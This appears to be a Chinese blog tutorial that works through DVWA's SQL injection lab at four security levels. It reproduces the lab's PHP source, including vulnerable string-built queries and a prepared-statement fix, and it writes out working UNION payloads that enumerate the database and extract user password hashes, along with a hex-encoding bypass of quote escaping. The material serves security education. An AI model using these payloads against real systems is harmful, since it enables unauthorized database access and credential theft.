DVWA——SQL注入

一点点的sql知识:

SQL语句使用注意事项:
SQL 语言大小写不敏感。
SQL 可以写在一行或者多行
关键字不能被缩写也不能分行
各子句一般要分行写。
使用缩进提高语句的可读性。
MySQL数据库5.0版本以后和5.0版本以前有一个大的区别,就是MySQL5.0以后的版本中默认放着一个information_schema数据库,这个数据库存放着该数据库中所有的库名、表名和列名等等。
>>>可以根据information_schema这个数据库来爆出数据库的库名、表名和列名了,而MySQL5.0以前的版本只能通过暴力破解来跑库名、表名和列名。
schemata表提供了当前mysql实例中所有数据库的信息。
数据库中符号“.”代表下一级,如a.user表示a数据库下的user表名
information_schema.tables;记录所有表名信息的表;table_name;  表名   information_schema.columns;记录所有列名信息的表;column_name; 列名   table_schema; 数据库名
数据库版本(version())、名字(database())、用户(user()),操作系统(@@version_compile_os)
更多的 慢慢学吧,反正现在是不会。。。。

SQL注入漏洞介绍:

SQL注入是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库中查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

Low级别

手工注入
1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据。
注意观察url注意观察url
1.判断是否存在注入,注入是字符型还是数字型
输入1,查询成功
在这里插入图片描述
输入2,得到
在这里插入图片描述
直到输入6 ,没有任何显示。
在这里插入图片描述
输入1’ or ‘1=2得到下图,返回了多个结果,说明存在字符型注入。
在这里插入图片描述
使用order by猜测sql查询语句中的字段数。
输入:1’ or 1=1 order by 1 # ;(#和 – (有个空格)表示注释,可以使它们后面的语句不被执行)
在这里插入图片描述
输入:1’ or 1=1 order by 2 # ;
在这里插入图片描述输入:1’ or 1=1 order by 3 # ;报错,说明没有第三个字段。
在这里插入图片描述
输入1’ union select 1,2 #,确认字段顺序,从下图可以看出,First name是第一个字段,Suname是第二个字段。
在这里插入图片描述
获取当前数据库及版本,输入:1’ union select database() ,version() #;得到数据库及版本
在这里插入图片描述
获取数据库中的表。输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # (获取数据库中的表)

group_concat函数的功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。由函数参数(字段名)决定要返回的列
函数语法:group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
即:group_concat([distinct] 字段名 [order by 排序字段 asc/desc] [separator '分隔符'])
说明:
  (1)使用distinct可以排除重复值;
  (2)如果需要对结果中的值进行排序,可以使用order by子句;
  (3)separator是一个字符串值,默认为逗号。

在这里插入图片描述

此类问题是由于UNION Mysql的Table的时候对应的字段Collation字符序不同导致的。
通过修改字段的Collation解决此类错误,或者创建字段的时候统一字段的Collation
重新查看字符集及数据表字段编码字符是否一致:
  utf8_bin
  utf8_general_ci
  utf8_unicode_ci
  utf8_bin 与 utf8_general_ci 可以
  utf8_bin 与 utf8_unicode_ci 可以
  utf8_general_ci 与 utf8_unicode_ci 不可以

解决方法:使用16进制读取,获取数据库中的表 1’ union select 1,hex(table_name) from information_schema.tables where table_schema=database() #
在这里插入图片描述
使用16进制解码:guestbook;users
获取users表中的字段名:1’ union select 1,hex(column_name) from information_schema.columns where table_name=‘users’ #
在这里插入图片描述

进行16进制解码。users字段为:user_id;first_name;last_name;user;password;avatar;last_login;USER…

查询数据:1’ union select group_concat(user_id,first_name),group_concat(password) from users #
在这里插入图片描述

可以看到First name 输出为user_id,Surname输出的为password ,password为密文,用MD5转换https://www.cmd5.com/
在这里插入图片描述
即得到了所有用户名和密码
查看源码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];
	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

可以看到,Low级别的代码对来自客户端的参数id( $id = $_REQUEST[ ‘id’ ];)没有过滤就直接带入SQL语句中,使用单引号闭合。

Medium级别

在这里插入图片描述
查看源码,和low不同之处:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);	
//......
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

提交方式由REQUEST 变为了POST。利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。我们可以抓包修改参数,提交构造的查询参数。
方法在上篇https://blog.csdn.net/weixin_44817272/article/details/117740767中DVWA—— Brute Force中有相似操作可以借鉴。使用和low级别一样的注入方法,在数据包中修改数据。构造Payload时避免使用特殊符号\x00,\n,\r,’,”,\x1a。
得出结论:存在注入,注入类型是数字型注入
注入的Payload有:

获取数据库中的所有表:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的所有字段名。考虑到单引号被转义,可以利用 16 进制进行绕过:union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
获取字段中的数据:1 union select user,password from users#
或者:
id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit

High级别

查看源码:

<?php
if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];
	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];
		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}
	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);		
}
?>

High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。对参数没有做防御。页面自动跳转,防御了自动化的SQL注入,
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。且因为是字符型注入,手工注入的过程与Low级别基本一样
在这里插入图片描述

Impossible级别

分析源码可以看到使用了PDO技术,杜绝了SQL注入

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
	// Anti-CSRF token防御CSRF攻击
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
	// Get input
	$id = $_GET[ 'id' ];
	// 检测是否是数字类型
	if(is_numeric( $id )) {
		// 预编译
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();
		$row = $data->fetch();
		// 确保返回一个结果
		if( $data->rowCount() == 1 ) {
			// Get values
			$first = $row[ 'first_name' ];
			$last  = $row[ 'last_name' ];
			// 给最终用户的反馈
			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
		}
	}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值